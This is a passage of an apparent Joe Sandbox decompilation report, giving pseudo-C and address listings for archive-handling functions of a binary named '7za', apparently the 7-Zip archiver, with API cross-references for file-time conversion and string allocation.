								_t261 =  *((intOrPtr*)(_t274 - 0x1e));
								_t147 = 0x48d520 + _t234 * 8;
								__eflags = _t261 -  *_t147;
								if(_t261 !=  *_t147) {
									_t234 = _t234 + 1;
									continue;
								}
								_push( *((intOrPtr*)(_t147 + 4)));
								goto L62;
							}
							__eflags = 0;
							if(0 != 0) {
								goto L63;
							}
							goto L60;
						}
						E00409664(_t274 - 0x2c,  *0x48d514);
						 *(_t274 - 0x18) = 2;
						 *(_t274 - 0x16) = 3;
						 *(_t274 - 0x14) = 0;
						__eflags = E0043B585( &(_t271[0x68]), _t274 - 0x18);
						if(__eflags == 0) {
							goto L66;
						}
						E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x2d);
						asm("cdq");
						_push(_t261);
						_push(( *(_t274 - 0x16) & 0x000000ff) + 1 << 6);
						_t261 = 0xa;
						E004075FF(_t274 - 0x8c, _t261);
						E00435B13(_t274 - 0x2c, _t261, _t274 - 0x8c);
						E00406ACF(_t274 - 0x2c, _t261, __eflags, 0x20);
						_t268 =  *(_t274 - 0x14);
						goto L64;
					}
					_t159 = _t131 - 1;
					__eflags = _t159;
					if(_t159 == 0) {
						_t160 = _t271[0x41];
						__eflags = _t160 - 0x14;
						if(__eflags >= 0) {
							_t161 =  *0x48d4d0; // 0x48c5cc
						} else {
							_t161 =  *((intOrPtr*)(0x48d480 + (_t160 & 0x000000ff) * 4));
						}
						E0040C0D3(_t274 - 0x6c, __eflags, _t161);
						goto L85;
					}
					_t164 = _t159 - 5;
					__eflags = _t164;
					if(__eflags == 0) {
						_push(E0043B088(_t274 - 0x5c,  &(_t271[0x7c]), __eflags));
						_push(_t274 - 0x50);
						 *(_t274 - 4) = 4;
						_t167 = E0043B6E5(_t271, __eflags);
						 *(_t274 - 4) = 5;
						E0040C08C(_t274 - 0x6c, __eflags,  *_t167);
						E00407A18( *((intOrPtr*)(_t274 - 0x50)));
						_push( *((intOrPtr*)(_t274 - 0x5c)));
						 *(_t274 - 4) = 1;
						L20:
						E00407A18();
						goto L80;
					}
					_t171 = _t164 - 5;
					__eflags = _t171;
					if(_t171 == 0) {
						_t172 =  *_t271 & 0x000000ff;
						L14:
						_push(_t172);
						goto L40;
					}
					__eflags = _t171 - 7;
					if(__eflags != 0) {
						goto L85;
					}
					_t273 =  &(_t271[0x68]);
					_t175 = E0043B680( &(_t271[0x68]), 0, _t274 - 0x20);
					__eflags = _t175;
					if(_t175 == 0) {
						_t177 = E0043B6B2(_t273, 0, _t274 + 8);
						__eflags = _t177;
						if(_t177 == 0) {
							_push(2);
						} else {
							_push(1);
						}
					} else {
						_push(0);
					}
					goto L40;
				}
				if(_t279 == 0) {
					_t269 =  &(_t271[0x68]);
					_t179 = E0043B680( &(_t271[0x68]), 0, _t274 - 0x18);
					__eflags = _t179;
					if(_t179 != 0) {
						L27:
						_t180 = _t274 - 0x18;
						L28:
						E0040C1E7(_t274 - 0x6c, _t180);
						goto L85;
					}
					_t183 = E0043B6B2(_t269, 0, _t274 + 8);
					__eflags = _t183;
					if(_t183 == 0) {
						_t184 = E0040C677(_t271[8], _t274 - 0x20);
						__eflags = _t184;
						if(_t184 == 0) {
							L26:
							 *(_t274 - 0x18) = 0;
							 *(_t274 - 0x14) = 0;
							goto L27;
						}
						_t187 = LocalFileTimeToFileTime(_t274 - 0x20, _t274 - 0x18);
						__eflags = _t187;
						if(_t187 != 0) {
							goto L27;
						}
						goto L26;
					}
					E0040C6D5( *((intOrPtr*)(_t274 + 8)), _t274 - 0x18);
					goto L27;
				}
				_t189 = _t120 - 3;
				if(_t189 == 0) {
					_push( &(_t271[0x20]));
					_push(_t274 - 0x44);
					_t192 = E0043B6E5(_t271, __eflags);
					 *(_t274 - 4) = 2;
					_t193 = E00425EBC(_t274 - 0x38, _t192);
					 *(_t274 - 4) = 3;
					E0040C08C(_t274 - 0x6c, __eflags,  *_t193);
					E00407A18( *((intOrPtr*)(_t274 - 0x38)));
					_push( *((intOrPtr*)(_t274 - 0x44)));
					 *(_t274 - 4) = 1;
					goto L20;
				}
				_t196 = _t189 - 3;
				if(_t196 == 0) {
					_t123 = E00440593(_t271);
					goto L84;
				}
				_t197 = _t196 - 1;
				if(_t197 == 0) {
					_push(_t271[0x1c]);
					_push(_t271[0x18]);
					L16:
					E0040C1C0(_t274 - 0x6c);
					goto L85;
				}
				_t199 = _t197 - 1;
				if(_t199 == 0) {
					_push(_t271[0x14]);
					_push(_t271[0x10]);
					goto L16;
				}
				_t200 = _t199 - 1;
				if(_t200 == 0) {
					_t172 = E0044062B(_t271);
					goto L14;
				}
				_t201 = _t200 - 1;
				if(_t201 == 0) {
					__eflags = E0043B680( &(_t271[0x68]), 2, _t274 - 0x18);
					if(__eflags == 0) {
						goto L85;
					} else {
						_t180 = _t274 - 0x18;
						goto L28;
					}
				}
				if(_t201 != 1) {
					goto L85;
				}
				_t206 = E0043B680( &(_t271[0x68]), 1, _t274 - 0x18);
				_t287 = _t206;
				if(_t206 == 0) {
					goto L85;
				} else {
					_t180 = _t274 - 0x18;
					goto L28;
				}
			}

0x0043b137
0x0043b13c
0x0043b14c
0x0043b14f
0x0043b152
0x0043b156
0x0043b160
0x0043b167
0x0043b16a
0x0043b16d
0x0043b170
0x0043b2ba
0x0043b2ba
0x0043b2bd
0x0043b543
0x0043b543
0x0043b545
0x0043b549
0x0043b54e
0x0043b554
0x0043b559
0x0043b560
0x0043b579
0x0043b582
0x0043b582
0x0043b2c3
0x0043b2c3
0x0043b2c6
0x0043b534
0x0043b536
0x00000000
0x00000000
0x0043b538
0x0043b317
0x0043b31a
0x00000000
0x0043b31a
0x0043b2cc
0x0043b2cc
0x0043b2cf
0x0043b393
0x0043b39c
0x0043b39f
0x0043b3a2
0x0043b3a5
0x0043b3aa
0x0043b3ae
0x0043b3b2
0x0043b48a
0x0043b48a
0x0043b48e
0x0043b49c
0x0043b49c
0x0043b4a1
0x0043b4a1
0x0043b4a4
0x0043b505
0x0043b50b
0x0043b50e
0x0043b513
0x0043b519
0x0043b521
0x0043b525
0x0043b52a
0x00000000
0x0043b52a
0x0043b4a7
0x0043b4a7
0x0043b4a8
0x0043b4f0
0x0043b4fa
0x0043b4fc
0x00000000
0x00000000
0x0043b4fe
0x00000000
0x0043b4fe
0x0043b4aa
0x0043b4aa
0x0043b4ad
0x0043b4df
0x0043b4af
0x0043b4af
0x0043b4af
0x0043b4b0
0x0043b4d7
0x0043b4b2
0x0043b4b2
0x0043b4b3
0x0043b4cf
0x0043b4b5
0x0043b4b5
0x0043b4b6
0x0043b4b7
0x0043b4c0
0x0043b4c1
0x0043b4cc
0x0043b4cc
0x0043b4b3
0x0043b4b0
0x00000000
0x0043b4ad
0x0043b493
0x00000000
0x0043b493
0x0043b3b8
0x0043b3bc
0x0043b42f
0x0043b433
0x0043b472
0x0043b478
0x0043b47b
0x0043b480
0x0043b485
0x00000000
0x0043b485
0x0043b43e
0x0043b443
0x0043b445
0x0043b46a
0x0043b46a
0x00000000
0x0043b46a
0x0043b447
0x0043b447
0x0043b449
0x0043b449
0x0043b44c
0x00000000
0x00000000
0x0043b44e
0x0043b452
0x0043b459
0x0043b45c
0x0043b463
0x00000000
0x0043b463
0x0043b45e
0x00000000
0x0043b45e
0x0043b466
0x0043b468
0x00000000
0x00000000
0x00000000
0x0043b468
0x0043b3c7
0x0043b3d3
0x0043b3d9
0x0043b3dd
0x0043b3e6
0x0043b3e8
0x00000000
0x00000000
0x0043b3f3
0x0043b406
0x0043b407
0x0043b408
0x0043b40b
0x0043b40c
0x0043b41b
0x0043b425
0x0043b42a
0x00000000
0x0043b42a
0x0043b2d5
0x0043b2d5
0x0043b2d6
0x0043b36d
0x0043b370
0x0043b372
0x0043b380
0x0043b374
0x0043b377
0x0043b377
0x0043b389
0x00000000
0x0043b389
0x0043b2dc
0x0043b2dc
0x0043b2df
0x0043b33b
0x0043b33f
0x0043b342
0x0043b346
0x0043b350
0x0043b354
0x0043b35c
0x0043b361
0x0043b364
0x0043b247
0x0043b247
0x00000000
0x0043b24c
0x0043b2e1
0x0043b2e1
0x0043b2e4
0x0043b328
0x0043b1e0
0x0043b1e0
0x00000000
0x0043b1e0
0x0043b2e6
0x0043b2e9
0x00000000
0x00000000
0x0043b2f2
0x0043b2f9
0x0043b2fe
0x0043b300
0x0043b30c
0x0043b311
0x0043b313
0x0043b324
0x0043b315
0x0043b315
0x0043b315
0x0043b302
0x0043b302
0x0043b302
0x00000000
0x0043b300
0x0043b176
0x0043b255
0x0043b25c
0x0043b261
0x0043b263
0x0043b2a9
0x0043b2a9
0x0043b2ac
0x0043b2b0
0x00000000
0x0043b2b0
0x0043b26c
0x0043b271
0x0043b273
0x0043b288
0x0043b28d
0x0043b28f
0x0043b2a3
0x0043b2a3
0x0043b2a6
0x00000000
0x0043b2a6
0x0043b299
0x0043b29f
0x0043b2a1
0x00000000
0x00000000
0x00000000
0x0043b2a1
0x0043b27b
0x00000000
0x0043b27b
0x0043b17c
0x0043b17f
0x0043b212
0x0043b216
0x0043b217
0x0043b221
0x0043b225
0x0043b22f
0x0043b233
0x0043b23b
0x0043b240
0x0043b243
0x00000000
0x0043b243
0x0043b185
0x0043b188
0x0043b203
0x00000000
0x0043b203
0x0043b18a
0x0043b18b
0x0043b1f9
0x0043b1fc
0x0043b1ec
0x0043b1ef
0x00000000
0x0043b1ef
0x0043b18d
0x0043b18e
0x0043b1e6
0x0043b1e9
0x00000000
0x0043b1e9
0x0043b190
0x0043b191
0x0043b1db
0x00000000
0x0043b1db
0x0043b193
0x0043b194
0x0043b1c9
0x0043b1cb
0x00000000
0x0043b1d1
0x0043b1d1
0x00000000
0x0043b1d1
0x0043b1cb
0x0043b197
0x00000000
0x00000000
0x0043b1a6
0x0043b1ab
0x0043b1ad
0x00000000
0x0043b1b3
0x0043b1b3
0x00000000
0x0043b1b3

APIs

__EH_prolog.LIBCMT ref: 0043B13C

Part of subcall function 00425EBC: __EH_prolog.LIBCMT ref: 00425EC1

Part of subcall function 0040C677: DosDateTimeToFileTime.KERNEL32 ref: 0040C67D

LocalFileTimeToFileTime.KERNEL32(?,?,00000000,?,00000000,?), ref: 0043B299

Part of subcall function 0043B088: __EH_prolog.LIBCMT ref: 0043B08D

Part of subcall function 0043B6E5: __EH_prolog.LIBCMT ref: 0043B6EA

Part of subcall function 0040C08C: SysAllocString.OLEAUT32(?), ref: 0040C0A4
Part of subcall function 0040C08C: __CxxThrowException@8.LIBC ref: 0040C0C7

Part of subcall function 0040C0D3: SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 0040C0FC
Part of subcall function 0040C0D3: __CxxThrowException@8.LIBC ref: 0040C11A

Part of subcall function 004075FF: __aullrem.INT64 ref: 00407628
Part of subcall function 004075FF: __aulldiv.INT64 ref: 00407647

Strings

:EOS, xrefs: 0043B4FE

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004304F9, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 276

C-Code - Quality: 91%

			E004304F9(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				signed int _t150;
				signed int _t151;
				signed int _t158;
				signed int _t159;
				intOrPtr* _t162;
				signed int _t173;
				signed int _t180;
				signed int _t197;
				signed int _t211;
				signed int _t239;
				intOrPtr* _t258;
				signed int _t261;
				intOrPtr* _t264;
				signed int _t266;
				void* _t267;

				E0046B890(E00477836, _t267);
				_t264 = __ecx;
				if(E004308A5( *(_t267 + 8)) != 0) {
					_t150 = E00430881( *(_t267 + 8));
					__eflags = _t150;
					if(_t150 == 0) {
						_t151 =  *(_t267 + 0xc);
						_t211 = 0;
						__eflags = _t151;
						 *((char*)(_t267 - 0xd)) = 0;
						if(_t151 == 0) {
							L12:
							E0040EEC1(_t264 + 0x18,  *((intOrPtr*)(_t264 + 0x50)));
							E0040EED0(_t264 + 0x18);
							_t258 =  *((intOrPtr*)(_t267 + 0x10));
							 *(_t264 + 0x10) =  *(_t264 + 0x10) | 0xffffffff;
							 *(_t264 + 8) =  *((intOrPtr*)(_t267 - 0xd));
							_push(_t267 - 0x18);
							_push(_t258);
							_push( *(_t267 + 8));
							 *(_t264 + 9) = 1;
							 *(_t264 + 0xc) = _t211;
							E0042FFA2(_t264);
							__eflags =  *((intOrPtr*)(_t267 - 0xd)) - _t211;
							if( *((intOrPtr*)(_t267 - 0xd)) == _t211) {
								L26:
								_t158 = E0040EFA1(_t264 + 0x18);
								__eflags = _t158 - _t211;
								if(_t158 != _t211) {
									goto L30;
								}
								_t261 =  !( *(_t264 + 0x10));
								_t159 = E0040EEE8(_t264 + 0x18);
								L28:
								 *(_t267 - 0x5c) = _t159;
								 *((intOrPtr*)(_t267 - 0x64)) =  *((intOrPtr*)(_t267 - 0x18));
								 *((intOrPtr*)(_t267 - 0x60)) =  *((intOrPtr*)(_t267 - 0x14));
								_t162 =  *((intOrPtr*)(_t264 + 0x4c));
								 *(_t267 - 0x58) = 0;
								 *(_t267 - 0x54) = _t261;
								_t158 =  *((intOrPtr*)( *_t162 + 0x10))(_t162,  *_t264,  *((intOrPtr*)(_t264 + 4)), _t211, _t211);
								__eflags = _t158 - _t211;
								if(__eflags == 0) {
									_t158 = E0042F403(_t264, __eflags, _t267 - 0x64);
								}
								goto L30;
							}
							 *(_t267 - 0x20) = _t211;
							 *(_t267 - 0x1c) = _t211;
							 *((intOrPtr*)(_t267 - 0x24)) = 0x47a7ec;
							 *(_t267 - 4) = _t211;
							E0040FA26(_t267 - 0x24,  *(_t264 + 0xc));
							 *(_t264 + 0x44) =  *(_t264 + 0xc);
							_push(_t267 - 0x18);
							_push(_t258);
							_push( *(_t267 + 8));
							 *(_t264 + 0x40) =  *(_t267 - 0x1c);
							 *(_t264 + 0x48) = _t211;
							 *(_t264 + 8) = _t211;
							 *(_t264 + 9) = _t211;
							E0042FFA2(_t264);
							__eflags =  *(_t264 + 0xc) -  *(_t264 + 0x48);
							if( *(_t264 + 0xc) ==  *(_t264 + 0x48)) {
								E00428499(_t267 - 0xb4);
								 *(_t267 - 4) = 1;
								 *((char*)(_t267 - 0x88)) =  *((intOrPtr*)( *(_t267 + 0xc) + 0x2c));
								E00401E26(_t267 - 0x84,  *(_t267 + 0xc) + 0x30);
								__eflags =  *_t258 - _t211;
								_t173 =  *(_t267 + 0xc);
								if(__eflags == 0) {
									_t173 = _t267 - 0xb4;
								}
								_push(_t173);
								E004283DB(_t267 - 0x1c8, __eflags);
								 *(_t267 - 0x34) = _t211;
								 *(_t267 - 0x30) = _t211;
								 *(_t267 - 0x2c) = _t211;
								 *((intOrPtr*)(_t267 - 0x28)) = 8;
								 *((intOrPtr*)(_t267 - 0x38)) = 0x47a688;
								 *(_t267 - 4) = 3;
								E00405B9F(_t267 - 0x4c);
								 *((intOrPtr*)(_t267 - 0x4c)) = 0x47b3a8;
								_push(_t267 - 0x4c);
								_push(_t267 - 0x38);
								_push(_t267 - 0x24);
								_push(_t267 - 0x1c8);
								 *(_t267 - 4) = 4;
								_t180 = E0042FE6F(_t264);
								__eflags = _t180 - _t211;
								 *(_t267 + 0xc) = _t180;
								if(_t180 == _t211) {
									__eflags =  *((intOrPtr*)(_t267 - 0x44)) - _t211;
									 *(_t264 + 9) = 1;
									if( *((intOrPtr*)(_t267 - 0x44)) == _t211) {
										 *(_t267 + 0xc) = 1;
										E0046B8F4(_t267 + 0xc, 0x47e128);
									}
									E0042F6C7(0x17, _t211);
									 *(_t267 - 0x5c) = _t211;
									 *(_t267 - 0x58) = _t211;
									 *(_t267 - 0x54) = _t211;
									 *((intOrPtr*)(_t267 - 0x50)) = 4;
									 *((intOrPtr*)(_t267 - 0x60)) = 0x47ab80;
									 *(_t267 - 0x74) = _t211;
									 *(_t267 - 0x70) = _t211;
									 *(_t267 - 0x6c) = _t211;
									 *(_t267 - 0x68) = 1;
									 *((intOrPtr*)(_t267 - 0x78)) = 0x47ab08;
									 *(_t267 - 4) = 7;
									E0042F9B2(_t264, 0,  *((intOrPtr*)(_t267 - 0x18)),  *((intOrPtr*)(_t267 - 0x14)), _t267 - 0x38, _t267 - 0x78, _t267 - 0x60);
									 *(_t267 - 4) = 6;
									E00408604(_t267 - 0x78);
									 *(_t267 - 4) = 4;
									E00408604(_t267 - 0x60);
									_push(_t267 - 0x4c);
									E0042F5F7(E0042FA27(_t264, 0), _t211, _t264, _t211);
									_t239 =  *(_t267 - 0x30);
									__eflags = _t239 - _t211;
									if(_t239 <= _t211) {
										L25:
										 *((intOrPtr*)(_t267 - 0x4c)) = 0x47b3a8;
										 *(_t267 - 4) = 8;
										E0040862D();
										 *(_t267 - 4) = 3;
										E00408604(_t267 - 0x4c);
										 *(_t267 - 4) = 2;
										E00408604(_t267 - 0x38);
										 *(_t267 - 4) = 1;
										E00428A47(_t267 - 0x1c8);
										 *(_t267 - 4) = _t211;
										E00428510(_t267 - 0xb4, __eflags);
										_t129 = _t267 - 4;
										 *_t129 =  *(_t267 - 4) | 0xffffffff;
										__eflags =  *_t129;
										 *((intOrPtr*)(_t267 - 0x24)) = 0x47a7ec;
										E00407A18( *(_t267 - 0x1c));
										goto L26;
									} else {
										_t197 =  *(_t267 - 0x2c);
										 *(_t267 + 8) = _t239;
										 *(_t267 + 0xc) = _t197;
										do {
											 *((intOrPtr*)(_t267 - 0x18)) =  *((intOrPtr*)(_t267 - 0x18)) +  *_t197;
											asm("adc [ebp-0x14], eax");
											_t197 =  *(_t267 + 0xc) + 8;
											_t114 = _t267 + 8;
											 *_t114 =  *(_t267 + 8) - 1;
											__eflags =  *_t114;
											 *(_t267 + 0xc) = _t197;
										} while ( *_t114 != 0);
										goto L25;
									}
								} else {
									 *((intOrPtr*)(_t267 - 0x4c)) = 0x47b3a8;
									 *(_t267 - 4) = 5;
									E0040862D();
									 *(_t267 - 4) = 3;
									E00408604(_t267 - 0x4c);
									 *(_t267 - 4) = 2;
									E00408604(_t267 - 0x38);
									 *(_t267 - 4) = 1;
									E00428A47(_t267 - 0x1c8);
									 *(_t267 - 4) = _t211;
									E00428510(_t267 - 0xb4, __eflags);
									_t266 =  *(_t267 + 0xc);
									L19:
									 *((intOrPtr*)(_t267 - 0x24)) = 0x47a7ec;
									E00407A18( *(_t267 - 0x1c));
									_t158 = _t266;
									goto L30;
								}
							}
							_t266 = 0x80004005;
							goto L19;
						}
						__eflags =  *(_t151 + 8);
						if( *(_t151 + 8) == 0) {
							__eflags =  *(_t151 + 0x2c);
							if( *(_t151 + 0x2c) == 0) {
								 *(_t267 + 0xc) = 0;
								_t151 = 0;
							}
						}
						__eflags = _t151 - _t211;
						if(_t151 == _t211) {
							goto L12;
						} else {
							__eflags =  *(_t151 + 0x2c) - _t211;
							if( *(_t151 + 0x2c) != _t211) {
								L11:
								 *((char*)(_t267 - 0xd)) = 1;
								goto L12;
							}
							__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t267 + 0x10)))) - _t211;
							if( *((intOrPtr*)( *((intOrPtr*)(_t267 + 0x10)))) == _t211) {
								goto L12;
							}
							goto L11;
						}
					}
					_t211 = 0;
					 *(_t267 - 0x20) = 0;
					 *(_t267 - 0x1c) = 0;
					 *((intOrPtr*)(_t267 - 0x18)) = 0;
					 *((intOrPtr*)(_t267 - 0x14)) = 0;
					_t261 = E0046B1C0(0, 0);
					_t159 = 0;
					goto L28;
				} else {
					_t158 = 0x80004005;
					L30:
					 *[fs:0x0] =  *((intOrPtr*)(_t267 - 0xc));
					return _t158;
				}
			}

0x004304fe
0x0043050b
0x00430518
0x00430527
0x0043052c
0x0043052e
0x00430552
0x00430555
0x00430557
0x00430559
0x0043055c
0x00430581
0x0043058a
0x00430591
0x00430599
0x0043059c
0x004305a0
0x004305a8
0x004305a9
0x004305aa
0x004305ad
0x004305b1
0x004305b4
0x004305b9
0x004305bc
0x00430823
0x00430826
0x0043082b
0x0043082d
0x00000000
0x00000000
0x00430835
0x00430837
0x0043083c
0x0043083c
0x00430843
0x0043084d
0x00430850
0x00430853
0x00430858
0x0043085e
0x00430861
0x00430863
0x0043086b
0x0043086b
0x00000000
0x00430863
0x004305c2
0x004305c5
0x004305c8
0x004305d5
0x004305d8
0x004305e3
0x004305e9
0x004305ea
0x004305eb
0x004305ee
0x004305f1
0x004305f6
0x004305f9
0x004305fc
0x00430604
0x00430607
0x00430619
0x00430621
0x0043062b
0x00430638
0x0043063d
0x0043063f
0x00430642
0x00430644
0x00430644
0x0043064a
0x00430651
0x00430656
0x00430659
0x0043065c
0x0043065f
0x00430666
0x00430670
0x00430674
0x0043067e
0x00430686
0x0043068a
0x0043068e
0x00430695
0x00430696
0x0043069a
0x0043069f
0x004306a1
0x004306a4
0x00430704
0x00430707
0x0043070b
0x00430716
0x0043071d
0x0043071d
0x00430727
0x0043072c
0x0043072f
0x00430732
0x00430735
0x0043073c
0x00430743
0x00430746
0x00430749
0x0043074c
0x00430753
0x00430768
0x00430772
0x0043077a
0x0043077e
0x00430786
0x0043078a
0x00430794
0x0043079d
0x004307a2
0x004307a5
0x004307a7
0x004307cb
0x004307cb
0x004307d1
0x004307d5
0x004307dd
0x004307e1
0x004307e9
0x004307ed
0x004307f8
0x004307fc
0x00430807
0x0043080a
0x00430812
0x00430812
0x00430812
0x00430816
0x0043081d
0x00000000
0x004307a9
0x004307a9
0x004307ac
0x004307af
0x004307b2
0x004307b7
0x004307ba
0x004307c0
0x004307c3
0x004307c3
0x004307c3
0x004307c6
0x004307c6
0x00000000
0x004307b2
0x004306a6
0x004306a6
0x004306ac
0x004306b0
0x004306b8
0x004306bc
0x004306c4
0x004306c8
0x004306d3
0x004306d7
0x004306e2
0x004306e5
0x004306ea
0x004306ed
0x004306f0
0x004306f7
0x004306fd
0x00000000
0x004306fd
0x004306a4
0x00430609
0x00000000
0x00430609
0x0043055e
0x00430561
0x00430563
0x00430566
0x00430568
0x0043056b
0x0043056b
0x00430566
0x0043056d
0x0043056f
0x00000000
0x00430571
0x00430571
0x00430574
0x0043057d
0x0043057d
0x00000000
0x0043057d
0x00430579
0x0043057b
0x00000000
0x00000000
0x00000000
0x0043057b
0x0043056f
0x00430530
0x00430536
0x00430539
0x0043053c
0x0043053f
0x00430547
0x0043054b
0x00000000
0x0043051a
0x0043051a
0x00430870
0x00430876
0x0043087e
0x0043087e

APIs

__EH_prolog.LIBCMT ref: 004304FE

Part of subcall function 0042FFA2: __EH_prolog.LIBCMT ref: 0042FFA7

Part of subcall function 00428499: __EH_prolog.LIBCMT ref: 0042849E

Part of subcall function 004283DB: __EH_prolog.LIBCMT ref: 004283E0
Part of subcall function 004283DB: __CxxThrowException@8.LIBC ref: 00428477

Part of subcall function 0042FE6F: __EH_prolog.LIBCMT ref: 0042FE74

__CxxThrowException@8.LIBC ref: 0043071D

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 0042FA27: __EH_prolog.LIBCMT ref: 0042FA2C

Part of subcall function 00428A47: __EH_prolog.LIBCMT ref: 00428A4C

Part of subcall function 00428510: __EH_prolog.LIBCMT ref: 00428515

Strings

c[@, xrefs: 004305C8, 0043068E, 004306F0, 00430816

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0042D5F3, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189

C-Code - Quality: 98%

			E0042D5F3(void* __ecx, signed int __edx) {
				intOrPtr _t110;
				intOrPtr _t117;
				intOrPtr* _t118;
				void* _t122;
				signed int _t128;
				signed int _t132;
				signed int _t135;
				signed int _t139;
				intOrPtr _t148;
				signed int _t173;
				intOrPtr _t174;
				intOrPtr _t176;
				void* _t177;
				signed int _t178;
				void* _t179;
				signed int* _t182;
				void* _t184;
				void* _t186;
				void* _t187;

				_t173 = __edx;
				E0046B890(E004774E4, _t187);
				_t184 = __ecx;
				_t110 = E0042D241(__edx);
				_t148 =  *((intOrPtr*)(_t187 + 8));
				_t176 = _t110;
				E0040862D();
				E0040867E(_t148, _t176);
				 *(_t187 - 0x10) =  *(_t187 - 0x10) & 0x00000000;
				 *(_t187 - 0x1c) =  *(_t187 - 0x1c) & 0x00000000;
				if(_t176 <= 0) {
					L15:
					_t177 = _t148 + 0x14;
					 *((intOrPtr*)(_t187 + 8)) =  *(_t187 - 0x1c) - 1;
					E0040862D();
					_t155 = _t177;
					E0040867E(_t177,  *((intOrPtr*)(_t187 + 8)));
					_t117 =  *((intOrPtr*)(_t187 + 8));
					if(_t117 <= 0) {
						L18:
						_t178 =  *(_t187 - 0x10);
						if(_t178 <  *((intOrPtr*)(_t187 + 8))) {
							E0042D0F8(_t155);
						}
						_t179 = _t178 -  *((intOrPtr*)(_t187 + 8));
						_t156 = _t148 + 0x28;
						 *((intOrPtr*)(_t187 + 8)) = _t156;
						_t118 = E0040867E(_t156, _t179);
						if(_t179 != 1) {
							if(_t179 <= 0) {
								goto L36;
							} else {
								goto L35;
							}
							do {
								L35:
								_t118 = E00415C6D( *((intOrPtr*)(_t187 + 8)), E0042D241(_t173));
								_t179 = _t179 - 1;
							} while (_t179 != 0);
							goto L36;
						} else {
							_t186 = 0;
							if( *(_t187 - 0x10) <= 0) {
								L32:
								if( *((intOrPtr*)(_t148 + 0x30)) != 1) {
									_t118 = E0042D0F8(_t156);
								}
								L36:
								 *[fs:0x0] =  *((intOrPtr*)(_t187 - 0xc));
								return _t118;
							}
							_t174 =  *((intOrPtr*)(_t148 + 0x1c));
							do {
								if(_t174 <= 0) {
									L27:
									_t156 = 0xffffffff;
									L28:
									if(_t156 < 0) {
										_t156 =  *((intOrPtr*)(_t187 + 8));
										_t118 = E00415C6D( *((intOrPtr*)(_t187 + 8)), _t186);
										goto L32;
									}
									goto L29;
								}
								_t118 =  *((intOrPtr*)(_t148 + 0x20));
								while( *_t118 != _t186) {
									_t156 = 1;
									_t118 = _t118 + 8;
									if(1 < _t174) {
										continue;
									}
									goto L27;
								}
								goto L28;
								L29:
								_t186 = _t186 + 1;
							} while (_t186 <  *(_t187 - 0x10));
							goto L32;
						}
					}
					 *((intOrPtr*)(_t187 - 0x24)) = _t117;
					do {
						 *(_t187 - 0x2c) = E0042D241(_t173);
						_t122 = E0042D241(_t173);
						_t155 = _t177;
						E0042389F(_t177,  *(_t187 - 0x2c), _t122);
						_t92 = _t187 - 0x24;
						 *_t92 =  *((intOrPtr*)(_t187 - 0x24)) - 1;
					} while ( *_t92 != 0);
					goto L18;
				}
				 *((intOrPtr*)(_t187 - 0x24)) = _t176;
				do {
					 *(_t187 - 0x50) =  *(_t187 - 0x50) & 0x00000000;
					 *(_t187 - 0x4c) =  *(_t187 - 0x4c) & 0x00000000;
					 *((intOrPtr*)(_t187 - 0x54)) = 0x47a7ec;
					 *(_t187 - 4) =  *(_t187 - 4) & 0x00000000;
					_push(_t187 - 0x5c);
					E00428C94(_t148);
					 *(_t187 - 4) =  *(_t187 - 4) | 0xffffffff;
					 *((intOrPtr*)(_t187 - 0x54)) = 0x47a7ec;
					E00407A18( *(_t187 - 0x4c));
					_t182 =  *( *((intOrPtr*)(_t148 + 0xc)) +  *(_t148 + 8) * 4 - 4);
					_t128 = E0042D110( *((intOrPtr*)(_t184 + 0x18)));
					_t167 =  *((intOrPtr*)(_t184 + 0x18));
					 *(_t187 + 0xb) = _t128;
					 *(_t187 - 0x14) = _t128 & 0x0000000f;
					E0042D12E( *((intOrPtr*)(_t184 + 0x18)), _t187 - 0x3c, _t128 & 0x0000000f);
					_t132 =  *(_t187 - 0x14);
					if(_t132 > 8) {
						E0042D0F8(_t167);
						_t132 =  *(_t187 - 0x14);
					}
					_t168 = 0;
					 *(_t187 - 0x2c) = 0;
					 *(_t187 - 0x28) = 0;
					if(_t132 > 0) {
						 *((intOrPtr*)(_t187 - 0x18)) = 0;
						 *(_t187 - 0x14) = _t187 + _t132 - 0x3d;
						 *(_t187 - 0x20) = _t132;
						do {
							_t168 =  *((intOrPtr*)(_t187 - 0x18));
							asm("cdq");
							 *(_t187 - 0x2c) =  *(_t187 - 0x2c) | E0046C5A0( *( *(_t187 - 0x14)) & 0x000000ff,  *((intOrPtr*)(_t187 - 0x18)), _t173);
							 *(_t187 - 0x28) =  *(_t187 - 0x28) | _t173;
